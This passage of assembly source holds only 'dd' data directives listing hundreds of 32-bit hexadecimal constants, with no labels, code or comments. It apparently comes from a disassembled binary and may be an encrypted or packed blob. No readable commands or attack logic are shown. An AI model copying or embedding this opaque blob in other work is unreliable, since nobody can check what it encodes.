0ECC81054h, 95FB9A40h dd 0BCD1BB09h, 206FDB49h, 0BF6BB2EDh, 6ADA3C56h, 19445F17h dd 1F2A8922h, 6F79D5EAh, 0C29400DCh, 0E2D84A08h, 0DA5C97EAh dd 31C8C2h, 8F34E3B9h, 289F4650h, 2FB05017h, 4FC2E601h dd 0CAF075D4h, 7D672598h, 97F89FDh, 0ECC75AB6h, 0A2145A2Dh dd 3B55D514h, 0FACC4AD4h, 0FF7D53E0h, 7C920B78h, 917F61C2h dd 0AB3E66EAh, 95362939h, 57B96802h, 765D46B3h, 0A7015900h dd 0A642DD0Dh, 0EF227C55h, 7D3E85B5h, 0F71823DEh, 376768C8h dd 3CF3F983h, 898B8C68h, 7F44B2D5h, 0FA9FDFF2h, 28477E98h dd 0B50826E5h, 20251CDEh, 2D7B7D47h, 0BADE9F3Ah, 0E9050CC8h dd 485636C3h, 227FF290h, 4CB8B0A4h, 609F88F0h, 0A0569920h dd 70D837h, 0F18176BBh, 19A3384Ch, 971100BFh, 0B86F1848h dd 593B4004h, 36C78019h, 0FEF0AC06h, 138B9A3h, 0CE8DF393h dd 82C53929h, 0D44B5EE9h, 60565944h, 0A9F6101h, 55517C98h dd 0BFE354F8h, 0BBEE3718h, 5E500ECBh, 0E57F72F8h, 4074E957h dd 0E7C557EBh, 51BDE905h, 0BE6A38FAh, 0AA0844E1h, 7CB05917h dd 32B60968h, 0DD3DCDh, 35569335h, 960CC17Ah, 206D1D52h dd 0E02F69Bh, 8914981Eh, 0C6D3D7F5h, 507A20C9h, 0C1607475h dd 0D7A679DEh, 6E816BE8h, 800072E4h, 0C07926E1h, 0C11C0576h dd 0F6CEFEECh, 4C98DD9h, 0E8032F61h, 769AE4Bh, 52872F1h dd 0ECD6B522h, 7CAD3C66h, 3A901B74h, 0BF57D814h, 48A4808h dd 9D754F3h, 7F5E2C82h, 6A6B0880h, 3F29E97Dh, 0B403BC69h dd 0DA1F9E19h, 0A6F67113h, 0FBC007Ah, 5485109h, 38712000h dd 642B250Ch, 0FE215098h, 0BDCB4F07h, 503E84DFh, 815F3FE3h dd 13F4DD1h, 0CC6AA868h, 6701B296h, 0C049EA80h, 0D56005E2h dd 0FAC6BF4Fh, 93FDD0F2h, 0B7BE303Ch, 14E9856Fh, 86B88CD0h dd 48786Bh, 135D8F7h, 9AF98C6h, 0D9A9C34Fh, 0D70A33E2h dd 28BA0C16h, 534F5926h, 0FD84778Ch, 55E96DECh, 4030F0C5h dd 40A74173h, 8A4B608h, 0C41AF795h, 55092358h, 0E615AF68h dd 33A220C6h, 0F58BB02h dd 7D01A5A7h, 5FFBC203h, 26700D4Ch, 8DCC2550h, 3D5112B1h dd 0A0D80977h, 0B075C6E2h, 0A82039D4h, 1A74EAFCh, 0C668227h dd 27B8F275h, 0E45CB2A6h, 0E394094Fh, 273BE9ADh, 7953F552h dd 40032DA7h, 1C4F2DFBh, 0F16D4E8h, 0B61BD1AEh, 316BE13Fh dd 92333E87h, 66115829h, 0B6F9EB25h, 66E2881h, 18F08150h dd 451C2F63h, 94F7A7C2h, 0BEC7040Dh, 0F961470Ch, 0A5084192h dd 0AFC0DC1Ch, 0C7D3197Ch, 966675C9h, 0A0390C20h, 0A44268Dh dd 33584127h, 0B46B97A0h, 2D176753h, 84F92BE4h, 0D2990873h dd 0E909D41Bh, 2DCA60A9h, 307A19A5h, 4305E028h, 0C8C25A07h dd 9E12545Dh, 0BFD125Eh, 0C02B6A9Fh, 8719467Ch, 967CDB16h dd 26DC5B26h, 0F88B5A8Ch, 0F8A9B712h, 0CD101A8Bh, 0C41B3E9h dd 2832D0EFh, 10719DE8h, 0F884E98Bh, 0DECCBD14h, 7FF634A2h dd 0CF2D1420h, 432FAED8h, 40ED318h, 0A8FEE20Ch, 0FC78A1D7h dd 431352E6h, 0E4EB3123h, 0A06F694Dh, 4C84143Ch, 0A22D80E3h dd 0F29A0DB0h, 36E5B7C6h, 0A5C1E98Bh, 5181BE20h, 0EBE83580h dd 1F51BD52h, 6F7205BCh, 0FEA43DAh, 0A898835Dh, 74C98F3h dd 0E307763Fh, 539F1F4Ah, 0C75C3C0h, 291E27B3h, 81433DCAh dd 24381E94h, 2C41DC8h, 0BCF081FEh, 0CECD2E2Ch, 8960BE2Ah dd 40DB3106h, 3C4BD61Dh, 18F02AD0h, 7AF097C6h, 0AC6B4F0Ch dd 3E570C43h, 113654Dh, 84610CEh, 4140C68h, 0B59366E9h dd 99212E03h, 0BD009D82h, 0B412554Eh, 67005202h, 7B354D75h dd 93F09BAh, 8BDD3A5Ah, 8875749Ch, 502790FEh, 0A8562015h dd 0D67DF880h, 0EC77FAFBh, 77B800F6h, 55A1502h, 0A1247471h dd 0C20030CFh, 810F2F39h, 11461DE1h, 20D7A7D3h, 0C819762Bh dd 4B88079h, 551F213h, 0A7AF87BBh, 1BB06BD3h, 97CF6ACAh dd 336EE4FEh, 0EFEE8005h, 0B3000DCBh, 0C0C3FE45h, 949502EBh dd 0D0B10BF4h, 8680CB08h, 0DE30B6EBh, 513A8B60h, 0A4ECA1E9h dd 0F6DA253Eh, 1509BDF9h, 8844F112h, 6C2F1119h, 0B6AA92CEh dd 685DF075h, 70BC66EAh, 0F52D1A6Eh, 52162AD9h, 4DE59205h dd 175026CCh, 616A1268h, 635F2876h, 0C22D02D1h, 0E166F67Fh dd 4D2D3316h, 7A3D2005h, 621CC02Ah, 34C0E36h, 55D41DC6h dd 0C10B0724h, 553E6258h, 8788C3CCh, 0F79C3108h, 37466884h dd 9DC4CEACh, 98E2FEF5h, 0AC88FA4Bh, 1C9FF329h, 0A194F4B2h dd 5EF76DFh, 517E7BB6h, 0AA1A81EFh, 0D815F956h, 2717EBCAh dd 0AC2C4996h, 787E0068h, 875D2059h, 0E91349CDh, 0E907A7Bh dd 4ABC33C8h, 0C1BEC270h, 5AD50889h, 22E92D80h, 0EC304A40h dd 4DE60B90h, 0DF70C6E6h, 33E9E609h, 0D0F4683Bh, 52668089h dd 0A0246AC9h, 21D36883h, 595B3E49h, 4A43587Fh, 0E773EAA4h dd 0DEE5F5E9h, 82DE26A5h, 0D2CD4F58h, 8581F46Fh, 0A12B2341h dd 6C612B3Ch, 0CA2AE451h, 0CE251003h, 6A29FF4Fh, 0C047BEFCh dd 0BAA2C5ABh, 17CCF42h, 64BA719Dh, 0F2EE52B6h, 0AC680BEBh dd 579A1A70h, 2FEF2C5Eh, 8F76DFEh, 5682D372h, 67586FE9h dd 91F38007h, 0C353CBFEh, 0F64AEA20h, 0E15B2729h, 5702382Ah dd 7A6412BFh, 3A6E401Ch, 16BE3909h, 159CF96h, 0FE6D38BCh dd 0E95F001Eh, 0D0F09D9Ah, 4FAF094Fh, 0FC8450DCh, 7FDDCD58h dd 246BC5D9h, 0AEDEE90h, 8872E909h, 37E9795Dh, 167FDB72h dd 0D0A6C143h, 3E20BC1Bh, 75BFE013h, 33AD8247h, 5DE2D102h dd 8832B7E0h, 62EB6E40h, 5F290F35h, 592FE17Ch, 0F100E920h dd 3BAE2725h, 6DEC78C2h, 0FB45C040h, 0AE4B4A5Fh, 0B7238041h dd 0D0DB1BEDh, 6F5C0174h, 55E20C44h, 7D075347h, 51233273h dd 806A5E4h, 0E5148B0Ch, 0B9CD2012h, 24A1AA44h, 2FB38E6Bh dd 5598DF5Ch, 63BA33BAh, 0DFF742B5h, 0F70907D1h, 4E3881DEh dd 132E1BE9h, 0ABE4BE6Eh, 0A8214AFDh, 94D7B112h, 6BBCB67Bh dd 51EA398Ah, 92C0E9DCh, 0C9810EC3h, 53258FFh, 0D0DD454Ah dd 531804D3h, 0D8011F0Ah, 712F0705h, 6C93C20Ch, 0D986BB77h dd 9B2F5134h, 6B681A5Ch, 165AFDEFh, 6C7E0F00h, 3DF68142h dd 0EC8E5B51h, 8B987E54h, 8C186A60h, 5787E685h, 0BC5EAF01h dd 0D650B2C1h, 0A7E78B8Ah, 207ED709h, 0BE44A204h, 0A32D80BBh dd 14B63418h, 0B929D802h, 961D60Eh, 0CEF961DEh, 69A20FA2h dd 3ACF5D7Ch, 0BC260A40h, 3E52710Ch, 4B0F2568h, 51C2AEF6h dd 0F2E911B9h, 96D7056Ah, 0C439E37h, 0EDC9BF0Ch, 0F3C7092Ch dd 2CB92D07h, 10AE2734h, 5D0507EDh, 8DBFACE9h, 8B57E68Ch dd 0ECE657EFh, 5A90C25Ch, 0CE502FCh, 0F5732E10h, 1B39D30Eh dd 3CE5C0F6h, 0C13D787Bh, 182A2E18h, 96BA4005h, 1369245Eh dd 0BDB6D20Ch, 0ED3D0BC0h, 0B7534AC0h, 0F5A0B4D6h, 5489DDEEh dd 0FEAF167Fh, 5A00B594h, 23358EB8h, 2EED227Ah, 48BB8B00h dd 9775C371h, 0E20166D4h, 7B36CDEh, 5F98C140h, 0BC3F4BCDh dd 39EEE4CAh, 0DCD16AC4h, 6582180Ah, 0D82212F0h, 0A512565Dh dd 0E9E166D9h, 0F9384DC2h, 0EEEF53D3h, 20E91138h, 0F4BD5FF0h dd 779F831Bh, 0CCF1793Ch, 28B36B64h, 0B2F5212Dh, 6BC2F7CEh dd 0EFBE83F7h, 577824DBh, 71DE0427h, 84FBC482h, 0C72F00CBh dd 19D262ECh, 57619E99h, 496A20E9h, 93DFEFF9h, 0D4EFB40Ch dd 1002F818h, 6809ABDBh, 425965B9h, 1010388Ch, 0E8799DB8h dd 0C4F441Fh, 70B9EB58h, 0AF5F5BCEh, 5B9F3057h, 4B5AF712h dd 41875086h, 0DDB8A251h, 8C1D73FFh, 0C6BD32AFh, 452B7909h dd 0FAF8D706h, 445B0881h, 8A98828Fh, 0CAC25405h, 505BFF3Dh dd 2F265746h, 0C2F174FBh, 9A994F3Dh, 76E9C484h, 0A1CE1846h dd 60031F13h, 50110B55h, 7E1DCF68h, 0F1ED3171h, 0B3F05563h dd 53465B76h, 0E7F6110h, 7E2E16BFh, 0E1A5D35Eh, 13492B8Bh dd 7EC650E1h, 0C78D5EC3h, 6DF58B95h, 0F8079348h, 40A74FE7h dd 7355C3C9h, 0A8DD2F6Bh, 4612A10Ah, 0FC9269F8h, 5251A089h dd 0B1F704B2h, 0AAD128E1h, 0CD17EEE2h, 77D9BA95h, 0AF33CC2Ah dd 0BCA34A4Bh, 0BE9DD412h, 9F102EA2h, 0C3EC5B50h, 7922A78h dd 17D994B0h, 29CC8134h, 1807FEEh, 80051ABAh, 4C0678C1h dd 0CE3156F2h, 414DDFC8h, 615A65E3h, 29328F46h, 1FEDC7Dh dd 79436DF1h, 48CEE945h, 1EFE0578h, 8912935Ch, 255C2002h dd 0DE2AF7A0h, 524F8D59h, 0CC2B17F1h, 5B6166B2h, 3225F671h dd 492008FDh, 0AE3E4A53h, 124EA4CBh, 0C3A7EF2Eh, 0F908E918h dd 354B5D68h, 0C57FA227h, 74AA3C79h, 0E86DC33h, 0B99DBE5Bh dd 203D8A92h, 0A2EF57E2h, 0C629D607h, 8FE45258h, 4F68BD90h dd 9FD936Eh, 3FA91DBCh, 66DA88D7h, 72BA528Bh, 1D50BF13h dd 7AB4CCC0h, 92D75EAh, 71F62C3Fh, 0A3F80C05h, 489869DBh dd 826754BAh, 2DB1785Dh, 0FEA057FCh, 3104F5Fh, 13F04950h dd 196BE209h, 6079D729h, 4BE7E970h, 6877C87Bh, 5B2A7238h dd 296739BBh, 4A47C41Fh, 41D52D0Bh, 0A87A054Ch, 0BD681356h dd 311766F9h, 7431AEB0h, 406B2BAAh, 0A7592348h, 0A8C34E6Ch dd 0F8B1971Ch, 9F2C0DE9h, 76258DC6h, 76291209h, 895725FCh dd 0A1FCD850h, 2D41370Dh, 0A22E02C6h, 0CBBF96CDh, 7EC140E2h dd 0BF2B5181h, 0B82F212Dh, 6818D81Ah, 0E1186469h, 0AB68D572h dd 7600CED5h, 0D008EEC0h, 3E6828E6h, 0B03AC75Eh, 3E8F314h dd 5C05AEB3h, 0C628342Ch, 0BBD565FBh, 97803A0Fh, 0E9F09B01h dd 0FE505C8Ch, 1D7825E3h, 0A4C17B7Ah, 91CB019Ch, 0FC548E08h dd 28180AEBh, 0EE0C4F1Dh dd 0E3F927FBh, 0FF973778h, 1C607C83h, 525AF200h, 7EF16856h dd 5E6B2875h, 57A30BCBh, 689FA6Fh, 5B4CA778h, 0E5C1B09Ch dd 0C109B405h, 0F030D279h, 0D4BF5CE9h, 0BB583CAh, 0ABD96C9Eh dd 0F4B90098h, 126A1E40h, 4905CBC1h, 6CA02BF8h, 2A7A94BBh dd 0C889501Ch, 0F713C296h, 0C5844EAAh, 709D0BE0h, 275FE868h dd 213BEC30h, 9DC1B713h, 0EBA32B14h, 39E5E463h, 8AF30987h dd 0FF398B47h, 0E9860915h, 80DF63D0h, 920F3DF4h, 6ED1BD61h dd 0DE8D850Bh, 755AF394h, 0E9AC14E8h, 0B3F4735Ah, 200498F5h dd 0D0B53C9Dh, 0A420BDFCh, 25245BC3h, 125E647Bh, 5F9B82C7h dd 660BADB4h, 5A037B68h, 77534C03h, 50D80B10h, 0F4B55EE5h dd 1308ACD6h, 6BA387AAh, 5BFD1CB2h, 181DAC7Bh, 0EBC79756h dd 0CA102438h, 8E3561D3h, 7DC6011Dh, 291C7275h, 1A744FEh dd 57685F08h, 0BAC34C78h, 0EC446601h, 5AB3E97Fh, 6564FA2Bh dd 0D9744A87h, 7AAED5D1h, 0B724530Ch, 0E925CF37h, 2A9EC9h dd 3EE05FBh, 20B06E70h, 5A9B1B54h, 0E0F03177h, 21EB415Fh dd 3350BBFEh, 37BD0366h, 0E963041Bh, 0A27D4D9Ch, 1FB9E95Ah dd 3A49F229h, 589C7F9Dh, 16B42EFCh, 76D0BA01h, 0E86F54DCh dd 7FF200B8h, 5617396Eh, 0A2D65889h, 8B58D63h, 46D482BAh dd 71C1351Dh, 0C5310211h, 0C0EAEDF0h, 334AEF6Fh, 5B7C5662h dd 0A7A0EE2Dh, 0D7DBA6E8h, 3190C9ECh, 3DC34134h, 2BE66DC0h dd 0B5CBFA28h, 9EB8751Eh, 0D35F3058h, 0E9C713EBh, 0A94D7FC6h dd 0D36800FEh, 5F8862BDh, 6F96D31h, 0E4A16A2Ah, 322EB261h dd 4C778960h, 3BE91678h, 5E6DBA26h, 5942CB2Bh, 8DBA4A0Bh dd 2427EF67h, 0EB1A5F5Bh, 5396987Dh, 0BD37BA67h, 2B2A881h dd 6E696079h, 5D6B5144h, 0D727B549h, 0F2F0E79Ah, 0F97C35Dh dd 4B0F780h, 0A896CB15h, 5B0506F2h, 100D7219h, 0EE47A180h dd 0CDD7C6FFh, 0D5EAF25h, 4D129E4h, 0A24EBA0h, 0DDF60BD5h dd 2A82B353h, 0BBD5041Dh, 1B91D9AAh, 28817465h, 285CB533h dd 3A4420DDh, 0FD6F5A81h, 2170843Bh, 9007DBA9h, 0B21D8816h dd 2749E046h, 2578DC47h, 0BDC946BDh, 0D01B450Ah, 63625B68h dd 0DA344093h, 6EA905A2h, 0A0591108h, 0C53B5210h, 0DEC90264h dd 0DE2A1A25h, 57C10181h, 3EF1236Bh, 5DE81890h, 0E9531C52h dd 0BEBBED75h, 0FAF476DAh, 72F35627h, 3FC2C0F6h, 81DCC18h dd 6DDC6850h, 3F65D76Bh, 0B9682A8Ah, 9B27A740h, 0AD80976Eh dd 0F753545Bh, 124ADA30h, 4C5E3FEEh, 0C6011555h, 0E939E766h dd 0BAC67406h, 0B905C209h, 18F7662h, 7E0EBD55h, 9E806F1Eh dd 0B2C602Ah, 52E4E978h, 0BF889DD9h, 0BAB9015Fh, 2B776650h dd 6AC3118Ch, 1416042h, 722D70DAh, 0BDDE4255h, 4E086801h dd 825A303Eh, 62607165h, 12D5D76h, 9D0B068h, 67050375h dd 10D73C40h, 5D250227h, 0A9A3D1A0h, 0DDA037BBh, 7F3F62C8h dd 0A54C2D2Eh, 80BAD9E7h, 71676D33h, 0F33881E4h, 6A097BE4h dd 56B057E9h, 17D780Bh, 4F17A902h, 0D48403E9h, 6D68616Fh dd 0C7E3074Bh, 0FB6D5EFAh, 8BC3C427h, 30181D2Fh, 48DAC9C3h dd 0CBDFBC25h, 0CCE90B6Fh, 2E322C8Ch, 37EE4AA1h, 0FC8194EFh dd 478F0D57h, 0A4EF8924h, 1BB44ABh, 2EAAC2EBh, 0E6EAEF0Eh dd 9DFA4DCh, 3B3517E5h, 0AF10C27Ch, 0B28B403Ch, 29032947h dd 4B516DD6h, 0ED55CEF4h, 278CA4F7h, 97229677h, 667411D7h dd 7144FB3Ah, 8EBA175Fh, 0DEE9826Fh, 178C4C5Ah, 717E8A68h dd 0BF9BE992h, 2E039527h, 50282EA4h, 32F7EA40h, 47D76ABh dd 593AB7CAh, 7B8A805Fh, 5A5F3FBFh, 1123DB8h, 0CC2507F1h dd 0E9251044h, 45C95D93h, 0BDE1DFF2h, 0F991215Fh, 3A843F44h dd 136D8BEEh, 9A94A035h, 20E7F2FAh, 31490B81h, 44D71FBCh dd 740A82DEh, 0FC2D5851h, 0EE142F28h, 0C7E3C55Fh, 893C542Eh dd 0F985D829h, 684B9025h, 28FE70C3h, 8F69C0F6h, 8CF9DF24h dd 0D902C348h, 0DF78963Bh, 2608C928h, 56AA127Fh, 0BC91645h dd 7CCE3373h, 0EF2D18C5h, 0A689B9ACh, 95F43D29h, 97270628h dd 1795D83Dh, 958C709h, 0F171E283h, 74F0D864h, 0AD709BFh dd 815F6CBCh, 5FBA656Dh, 7760A26Bh, 78512727h, 42C8828Ah dd 0E9547D77h, 22B70820h, 0C80C13FEh, 5F87EB8Ch, 65F51D28h dd 0E946C660h, 0A036B025h, 0BE56022Dh, 38611AE0h, 6F48920Ah dd 350F77BDh, 6101169Eh, 0FC88BB5Dh, 0EA3AF2D1h, 0DE892561h dd 0B1C6AD40h, 5F1002Ch, 50E96857h, 5F143D85h, 274EFE21h dd 0CD3808F3h, 954001C6h, 2171555h, 324E685Ch, 59867848h dd 0DB702181h, 25A1B410h, 9554B45Eh, 40A732DDh, 0B8453A01h dd 4F3FB062h, 0F0298C0Ch, 5B953C24h, 0E46F500h, 30550AFAh dd 623A5D5Bh, 29F21B33h, 88299B2h, 0F5EE880Eh, 0DA655F1Dh dd 8072EE9h, 0E06A8456h, 0DB50F6EBh, 0FB879CCh, 0E3E8F25Ah dd 148F01E4h, 60539D6Ch, 0DC9100Eh, 7CC7701h, 4E4C3195h dd 27E655F2h, 6C3DFC2Eh, 2D2F5DA8h, 0D4D9E822h, 0DBF9BF15h dd 0B91CFD49h, 0E4C8FAA8h, 0A1545180h, 0EB64570Ah, 1CC109B9h dd 2F00309Ch, 109201F5h, 5EF12113h, 6C7DEA06h, 30EF066Fh dd 0F01EE150h, 6B162317h, 3150761Dh, 1C4F2109h, 0C51E3A51h dd 0D56297E0h, 0AC77675Dh, 0DF645A87h, 2148449h, 400E68BBh dd 2CCDC3Ah, 6E0C5C20h, 6BE8A461h, 0AE5E3FA7h, 0C69122Ah dd 624F53DDh, 475D53CAh, 297D2F60h, 0EF977ABh, 0D4532012h dd 393AA0EEh, 669A1463h, 53A60F59h, 1D85A6B7h, 288CBB45h dd 36579D57h, 9AE918E9h, 0D6F63249h, 5AEE801Bh, 0F5088106h dd 0DFC5FED8h, 0FAB87B04h, 5210A958h, 5E565076h, 0DA4AF6B5h dd 52D7F657h, 1302EC77h, 0AA208AE9h, 7D291272h, 38980372h dd 7E0105EBh, 3D4C64BEh, 3480F838h, 58C60890h, 0F44C509Dh dd 8DCE5028h, 0A7A825E9h, 0A7BCB8D1h, 0A307F2B6h, 61FD9A98h dd 916F7C83h, 2324BF73h, 3B754FBh, 2D81B05Ch, 0C1CD7E99h dd 7069868h, 0F5E05BE5h, 49C3132Dh, 352AFE7h, 1C0C38AEh dd 78723A80h, 45B48D1h, 7205A9E0h, 9C12B58h, 57ED22ADh dd 2C645880h, 0E918620Dh, 5A74A9E4h, 0D0D99755h, 0D1447D5Ah dd 20741D2Fh, 3F0CDC47h, 1129022h, 0B394DFCCh, 0F977E405h dd 0AAA17B42h, 0F6E90701h, 5494D37Eh, 2355B1B9h, 0CAEA4A91h dd 0D8AB2596h, 0CE9E975Ah, 0D74E0F98h, 0BA419B8h, 0EC0028CBh dd 331E055Eh, 1C807A62h, 163B5F8Fh, 2D720ED9h, 44E677B4h dd 4473D1B5h, 4EA9FC30h, 545ADEC2h, 25FDC290h, 29DFC0Bh dd 496D5CA9h, 982A705h, 74968A7Eh, 9674F80Ah, 0FA096802h dd 0DCE2610Dh, 0EC4AEB64h, 342B4C18h, 29FA0CD3h, 6403B213h dd 0F280DAF6h, 3CD2AB10h, 0E219670Ah, 760C09h, 61EAC0ACh dd 36E92C04h, 0E4B9552Ah, 8041BD54h, 77E10D47h, 0B42B3715h dd 98780FCDh, 0C1E4EF7Eh, 2F833613h, 0A131480Fh, 0D7016FAFh dd 0D0081CA0h, 5A25141Ch, 9374B3FDh, 0E6EE844Ch, 0E8876FEFh dd 0C2010B23h, 0EFC79D04h, 11E8C631h, 6864212Ah, 268D7BA7h dd 91436BE0h, 20EA6B4h, 1F55268Eh, 0AD28DC57h, 752710DCh dd 5AD5D400h, 0ED748058h, 0FA406CEh, 0B0C50EDDh, 935E9E7Fh dd 56A409Dh, 0DC4ED134h, 9F2D50BDh, 0A924A971h, 813C583Fh dd 72D437C1h, 4671E62Eh, 73E90C86h, 1D66B023h, 2445F668h dd 74ABC1Dh, 0E616AA6Dh, 0C568105Dh, 65108A0Eh, 0E15ED158h dd 29AA3A77h, 71B46BB7h dd 0F799AA4Fh, 87C16443h, 0F3CCE368h, 6CAE4ACCh, 6B26E9EDh dd 888E65B5h, 0FDF449EEh, 0B4AC066Eh, 801960B7h, 205217F4h dd 208999E5h, 883062FBh, 96E93BEAh, 0B760C0CAh, 66F9208Ch dd 28E9195h, 5CAAA02Ah, 7C817D40h, 762D71E2h, 7FEA3863h dd 0BE210513h, 216F2299h, 6E8947D6h, 11646261h, 0A7C28100h dd 6909F819h, 0E6111262h, 210C30D0h, 0AAB29FF6h, 0AE27B905h dd 13BAAC17h, 77E6C139h, 517DC25Bh, 3594EB06h, 14E92Dh dd 20DEBB82h, 0B16E4EB1h, 84A1306Ah, 0BCB7C82Eh, 0E9B02D28h dd 0C295F060h, 5A19E8F2h, 938EAC0Dh, 5BB682EEh, 76C68EAh dd 1B59C7F2h, 30D0377Bh, 0B6E3DF9Bh, 0AD133DF1h, 26D6E558h dd 0BFD1E5E4h, 0E0EDBD29h, 0BFA1172Eh, 0BE2FA27Dh, 0F75BFB3Ch dd 0FB684284h, 0F261EA40h, 3D2F8A78h, 5063FC41h, 14EA6997h dd 9F2D2434h, 84202E56h, 8225C09Ch, 4755ADBh, 308BFC5Eh dd 6CB7A351h, 0C41E4ECEh, 0B20712CFh, 0FAFC438h, 19F1FB90h dd 0A545E5EBh, 11E52FBh, 434A57EBh, 0A86A036Dh, 5EE97D6Ch dd 59BF02A4h, 3257CD31h, 2CB9F0D6h, 92F47BE9h, 0E6AD0753h dd 0C2F53751h, 24FEEBF0h, 5A390C63h, 0AA2AB091h, 0E34B7BF9h dd 88885EA1h, 0C7B64258h, 3E060AE8h, 14F248AFh, 224807EDh dd 19643F25h, 84BE1FF0h, 0C5BBC796h, 54918214h, 7D680D00h dd 6E16489Ah, 3712D504h, 7BD0FA3Fh, 509862EDh, 14F68641h dd 0AB601D74h, 7B6F147Fh, 187A8C59h, 18369410h, 9E262A7Fh dd 0F90FCF28h, 0E98821C6h, 5A0291D0h, 54C2E0FEh, 9FCE7729h dd 3E9AC8h, 27685650h, 5EEA1032h, 0C35E5DFAh, 7225F8B2h dd 9DC2B648h, 1BF51517h, 5DA97707h, 2713133Fh, 7DB72205h dd 78105FBh, 8909C1A0h, 22FA2AF7h, 8F5EE116h, 580BE72Ch dd 8BDC5160h, 385947D3h, 0EB52AE93h, 9934B7BEh, 892EAA66h dd 0D4B29782h, 0E6FE7E65h, 0DA341048h, 413B3C62h, 80911C57h dd 274B5696h, 43A840C0h, 8CFC2708h, 9089D527h, 88C2FFFh dd 3431114Ch, 3380EFE7h, 5C5747C4h, 0BB028311h, 3DBA321Fh dd 524B7C55h, 5D49FE74h, 0E9612871h, 0F1A5DF90h, 539388D4h dd 0EAB365AEh, 0D8ACDE82h, 1EF7951Fh, 86C2F2BDh, 4BC0A644h dd 18C0BBECh, 80FC28C5h, 0E54BCEE9h, 0EFB09CAEh, 0D7990548h dd 17E61D46h, 294B016h, 0EA80C2FEh, 0C17628D4h, 16C3F15Bh dd 1E610B3Ah, 62902C70h, 1B2AA82Ch, 266A9D82h, 5F05CA72h dd 0B20A4FCh, 8931E925h, 28D25BBAh, 2531B4FAh, 8B6A475Dh dd 2ED93FC1h, 770E5289h, 12BD0B79h, 0E2BF649Eh, 79EBD3E5h dd 0C765AC12h, 0A240AE10h, 2F88419Fh, 0D3CCCAFCh, 0C45E9E2Bh dd 97BD49DCh, 0FCE9F048h, 21EFDD4Eh, 46A3453h, 40B915E0h dd 557E5D0Eh, 1D359524h, 3265EF9Eh, 8907711Fh, 81186C56h dd 7A5B8E68h, 692FC8B3h, 0F1A9F58Fh, 38E6E677h, 0FF4E203Dh dd 625EA8CBh, 9D55D72h, 0C2AE5E36h, 947DA6ABh, 3C302015h dd 87D7F700h, 72CE81FEh, 65B03F56h, 0EB3EFD92h, 0D501B631h dd 774A8B7Ah, 4599DC9h, 0EE169298h, 55A26209h, 544554E5h dd 0E91721A9h, 88E9C1DEh, 0C4509DCAh, 5B70A82Dh, 5A439219h dd 0B403DFD8h, 61085A0h, 0EE17C14Eh, 0D5FA053Eh, 63EF024Bh dd 0A1634B1Dh, 0E61794F8h, 0DBD16139h, 0CCAA5A04h, 316863CCh dd 9DDF5387h, 0D14D807Fh, 0C158F181h, 59D77DDCh, 0BF02FC4Bh dd 3107EE06h, 9BAF6377h, 0DEEDF9F3h, 0E2CDFF81h, 0D8697430h dd 701635F5h, 70090811h, 131804C6h, 2399D1FFh, 0CC778949h dd 60817C0Bh, 4E6A4248h, 40DF40BFh, 4BF938E9h, 0FD39AE5Ah dd 977CB2Fh, 0E695FAE9h, 225F9704h, 90D955A0h, 0A69E7D6h dd 0F7011FECh, 0C00820D8h, 55E781Ch, 0A95DE979h, 3F5A2C5Ch dd 1F4C2E08h, 0C70654C1h, 45497205h, 74378260h, 0DED58802h dd 0D8BE3A21h, 0E4205016h, 3002F5C1h, 0B1685BDAh, 0D37D4612h dd 0B78B0B34h, 0C5021AABh, 9DC003C4h, 0FC826721h, 0ED3E89B6h dd 7669E932h, 2D722463h, 28AFEF09h, 908A7DB5h, 8F824B3Fh dd 0F975D121h, 96681FB4h, 8A38AF1Fh, 0E85B4FDEh, 8010F4C0h dd 602F27E0h, 13ABBD98h, 0EF5BAC45h, 53EFD1C0h, 28762A09h dd 8C750B0h, 841D9B5Eh, 0BBA1C2E9h, 528564A8h, 0F9F1AFBAh dd 32CAC6Eh, 666CB8C6h, 0E99A0B4Eh, 0B9103EAFh, 0F582C8A4h dd 56B5B0D0h, 98057B95h, 6C63DC5h, 5D1C9018h, 0C090361h dd 845AAA05h, 81BE50FFh, 0A2ABBD38h, 12ECA38Dh, 480CBE9h dd 0F72B151h, 0C03AC980h, 688AC092h, 1B31440h, 9DE09C1Fh dd 0B787B7E9h, 0F58BA622h, 90758862h, 818502CDh, 0A0C83F88h dd 415E4E89h, 1203B760h, 7B57B29h, 0B0C0806h, 2276601Fh dd 0B52F83D2h, 0A8FFF137h, 251CBE8Eh, 276FBC5Fh, 0CC042BE9h dd 9228B256h, 4B1A62EFh, 0C5813874h, 593E3B47h, 0DF25F428h dd 0D6A7CC2h, 42EE53DDh, 0EB781BE9h, 3FCEB905h, 27AC6C27h dd 24DECA4h, 1718417Eh, 0F9E0805Bh, 17631056h, 27873FE9h dd 0F24FE027h, 0E84C8365h, 737C2596h, 0A9040897h, 5DF94F16h dd 0D26C7E1Dh, 14F094Ch, 85B9F3D6h, 0B1E96F35h, 84EF82D5h dd 0C3CBE809h, 0E9F6B951h, 0AF3B48A6h, 53263900h, 0F02579C3h dd 6360012Fh, 0C5503B0Dh, 2AE8FF46h, 2175FBA8h, 62A8585Ah dd 51495A3Eh, 7327CE01h, 30462693h, 50073FE3h, 11E90C78h dd 64317FF9h, 0ADCCCE82h, 0D772E425h, 0BB72EA16h, 47454A13h dd 0C1506AE0h, 0F65608B8h, 15EF6048h, 0D73CB66Eh, 0F78134B2h dd 6865E9D6h, 0D4BE004Eh, 8157B03Dh, 38A800F6h, 0F0295A6Ah dd 35BE62E9h, 64D3040Bh, 0B46E90FEh, 0C75D2525h, 645525D9h dd 2F52416Dh, 47685E05h, 0BBB544EBh, 20410E86h, 1E7DBF57h dd 816B0E14h, 9DFC93CFh, 0C0F7814Bh, 8322B209h, 0A2346118h dd 0A0C0B36h, 5000AD4Fh, 1340D6C7h, 78304D61h, 576A2B33h dd 0BEAE8481h, 52324F12h, 6E895D72h, 626879DFh, 14F70868h dd 69144231h, 0DE44FF1Fh, 0D9685200h, 0E9419866h, 0E3EB5BE8h dd 24E94A9Ch, 0A8251917h, 0ED85E14Fh, 386B366Ah, 0FFA754CBh dd 0DEE3041Bh, 0E743F2F2h, 7B7BE4E5h, 58475062h, 0E72F308h dd 0AB166A91h, 0E909D39Ah, 562D195Eh, 0A4BC2E64h, 6E33754Ch dd 0F0B1464Eh, 0FE0C818Eh, 0C1C580CDh, 0FA6BF5CCh, 16329EA1h dd 6B12EE29h, 8230F6AEh, 79052B68h, 0CDE9E264h, 16F48C6Ah dd 44945725h, 68054DBCh, 99AC528Ch, 0ED2A8BC4h, 0A7D618B2h dd 3D432D47h, 0E4CF7C78h, 106101DCh, 19126829h, 985F9230h dd 3F1F0031h, 3540419Ch, 